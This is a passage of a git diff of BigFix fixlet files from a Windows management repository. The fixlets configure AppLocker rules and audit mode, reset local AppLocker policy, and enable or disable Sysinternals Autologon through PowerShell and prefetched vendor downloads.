+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows
+  ID       : 20624
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes
index 78792d852..0431a8f5d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes	
@@ -1,53 +1,53 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Config - Applocker Rules - Reset Local Rules - Windows
-  ID       : 20625
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:32:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Config - Applocker Rules - Reset Local Rules - Windows</Title>
-    <Description><![CDATA[<P>This <STRONG>Task</STRONG> resets the local Applocker Policy.&nbsp;</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[number of ((if (exists it) then (it) else none) of (matches (regex "\[[^;]*;[^;]*;[^;]*;([^;];|[^]]){1,2}.") of concatenations "" of substrings separated by "%00" of lines of files "Registry.pol" of folders "GroupPolicy\Machine" of native system folder)) whose (it contains "SrpV2") > 1]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-11</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-</AppLockerPolicy>
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-
-wait gpupdate /target:computer /force
-]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Config - Applocker Rules - Reset Local Rules - Windows
+  ID       : 20625
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:32:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Config - Applocker Rules - Reset Local Rules - Windows</Title>
+    <Description><![CDATA[<P>This <STRONG>Task</STRONG> resets the local Applocker Policy.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[number of ((if (exists it) then (it) else none) of (matches (regex "\[[^;]*;[^;]*;[^;]*;([^;];|[^]]){1,2}.") of concatenations "" of substrings separated by "%00" of lines of files "Registry.pol" of folders "GroupPolicy\Machine" of native system folder)) whose (it contains "SrpV2") > 1]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+
+wait gpupdate /target:computer /force
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes
index a2e993774..ba5f0b21c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes	
@@ -1,81 +1,81 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Autologon - Add User Account - Windows
-  ID       : 23677
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-07T12:49:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Autologon - Add User Account - Windows</Title>
-    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
-<DIV id=paramFixletDescription>
-<P>Configure Autologon!</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
-loaded = false;
-var CODE_SITE_NAME = 'BES Support' ;
-function loadScript (siteName, callback) {
-loaded = false;
-var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
-var code = EvaluateRelevance(relevanceQuery);
-var head = document.getElementsByTagName("head")[0];
-var script   = document.createElement("script");
-script.type  = "text/javascript";
-script.text = code;
-head.appendChild(script);
-callback();
-}
-function scriptLoaded(){
-if (!loaded){
-if ( typeof FixletUtils !== 'undefined') {
-loaded = true;
-/*
-* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
-*/
-var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
-var messages = EvaluateRelevance(relQuery);
-var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
-var matches = regex.exec(messages);
-matches[1]=matches[1].replace(/<br>/gi,"");
-eval(matches[1]);
-FixletUtils.initFixletRender();
-} } }
-loadScript(CODE_SITE_NAME, scriptLoaded);
-</script> </DIV></DIV>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-21</SourceReleaseDate>
-    <MIMEField>
-      <Name>parametermetadatatag</Name>
-      <Value>{   &quot;Section1&quot;: {     &quot;Name&quot;: &quot;UserAccount&quot;,     &quot;Title&quot;: &quot;Autologon User&quot;,     &quot;UIType&quot;: &quot;accordion&quot;,     &quot;Values&quot;: [       {         &quot;Name&quot;: &quot;AutoDomain&quot;,         &quot;Title&quot;: &quot;Active Directory Domain&quot;,         &quot;Description&quot;: &quot;Active Directory Domain&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;NetBIOS&quot;       },       {         &quot;Name&quot;: &quot;AutoUsername&quot;,         &quot;Title&quot;: &quot;Account Username&quot;,         &quot;Description&quot;: &quot;Account Username&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;Username&quot;       },       {         &quot;Name&quot;: &quot;AutoPassword&quot;,         &quot;Title&quot;: &quot;Account Password&quot;,         &quot;Description&quot;: &quot;Account Password&quot;,         &quot;UIType&quot;: &quot;Textbox&quot;,         &quot;Encrypt&quot;: &quot;true&quot;,         &quot;SubUIType&quot;: &quot;Password&quot;       }     ]   } }</Value>
-    </MIMEField>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-action uses wow64 redirection {not x64 of operating system}
-
-prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
-
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
-
-
-waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;{Parameter &quot;AutoUsername&quot; of action}&quot; &quot;{parameter &quot;AutoDomain&quot; of action}&quot; &quot;{parameter &quot;AutoPassword&quot; of action}&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Autologon - Add User Account - Windows
+  ID       : 23677
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-07T12:49:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Autologon - Add User Account - Windows</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<DIV id=paramFixletDescription>
+<P>Configure Autologon!</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
+loaded = false;
+var CODE_SITE_NAME = 'BES Support' ;
+function loadScript (siteName, callback) {
+loaded = false;
+var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+var code = EvaluateRelevance(relevanceQuery);
+var head = document.getElementsByTagName("head")[0];
+var script   = document.createElement("script");
+script.type  = "text/javascript";
+script.text = code;
+head.appendChild(script);
+callback();
+}
+function scriptLoaded(){
+if (!loaded){
+if ( typeof FixletUtils !== 'undefined') {
+loaded = true;
+/*
+* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
+*/
+var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+var messages = EvaluateRelevance(relQuery);
+var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+var matches = regex.exec(messages);
+matches[1]=matches[1].replace(/<br>/gi,"");
+eval(matches[1]);
+FixletUtils.initFixletRender();
+} } }
+loadScript(CODE_SITE_NAME, scriptLoaded);
+</script> </DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>{   &quot;Section1&quot;: {     &quot;Name&quot;: &quot;UserAccount&quot;,     &quot;Title&quot;: &quot;Autologon User&quot;,     &quot;UIType&quot;: &quot;accordion&quot;,     &quot;Values&quot;: [       {         &quot;Name&quot;: &quot;AutoDomain&quot;,         &quot;Title&quot;: &quot;Active Directory Domain&quot;,         &quot;Description&quot;: &quot;Active Directory Domain&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;NetBIOS&quot;       },       {         &quot;Name&quot;: &quot;AutoUsername&quot;,         &quot;Title&quot;: &quot;Account Username&quot;,         &quot;Description&quot;: &quot;Account Username&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;Username&quot;       },       {         &quot;Name&quot;: &quot;AutoPassword&quot;,         &quot;Title&quot;: &quot;Account Password&quot;,         &quot;Description&quot;: &quot;Account Password&quot;,         &quot;UIType&quot;: &quot;Textbox&quot;,         &quot;Encrypt&quot;: &quot;true&quot;,         &quot;SubUIType&quot;: &quot;Password&quot;       }     ]   } }</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection {not x64 of operating system}
+
+prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+
+waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;{Parameter &quot;AutoUsername&quot; of action}&quot; &quot;{parameter &quot;AutoDomain&quot; of action}&quot; &quot;{parameter &quot;AutoPassword&quot; of action}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes
index 65a7681aa..2badd225a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Autologon - Disable - Windows
-  ID       : 23678
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-07T12:49:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Autologon - Disable - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
-
-
-waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;&quot; &quot;&quot; &quot;&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Autologon - Disable - Windows
+  ID       : 23678
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-07T12:49:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Autologon - Disable - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+
+waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;&quot; &quot;&quot; &quot;&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes
index c6ea037dc..ff1d01f11 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Method - Audit All - Windows
-  ID       : 20703
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:10
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Method - Audit All - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
-<P>AppX - Audit</P>
-<P>Executables - Audit</P>
-<P>Installers - Audit</P>
-<P>Scripts - Audit</P>
-<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\AuditMode.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="AuditMode"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
-	</RuleCollection>
-	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Method - Audit All - Windows
+  ID       : 20703
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Method - Audit All - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Audit</P>
+<P>Executables - Audit</P>
+<P>Installers - Audit</P>
+<P>Scripts - Audit</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\AuditMode.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="AuditMode"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
+	</RuleCollection>
